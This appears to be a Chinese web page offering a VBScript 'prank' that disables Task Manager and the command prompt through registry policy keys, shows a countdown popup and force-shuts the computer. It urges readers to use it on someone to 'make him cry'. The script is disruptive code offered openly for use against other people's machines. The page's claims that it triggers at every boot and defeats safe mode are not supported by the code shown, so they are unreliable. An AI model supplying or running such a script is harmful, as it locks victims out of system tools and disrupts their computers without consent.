vbs整人代码-2009QQ整人代码
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
说明一下哈,此代码的威力:
1:开机就强制自动关机
2:cmd命令打不开
3:结束任务不管用
4:F8安全模式也不管用
代码破解方法:再运行一次,即可以破解了,即第2次保存的那个VBE文件。
对他手下莫留情,用vbs整人代码,吓哭他,哈哈。
您可能感兴趣的文章:
vbs整人代码-2009QQ整人代码
vbs恶作剧(整人代码)-感人的文章(我是猪)
vbs恶作剧(整人代码)-写入大量的垃圾文件,吓哭他
vbs恶作剧(整人代码)-死循环 讲故事等
vbs恶作剧(整人代码)-让他承认自己是大傻B
vbs恶作剧(整人代码)-英文报数 蓝屏 重启电脑等
vbs恶作剧(整人代码)-网页整人效果
vbs整人代码-输入指定的话不然不关闭
访问外部文本文件的vbs方法及例子
vbs整人代码-定时关机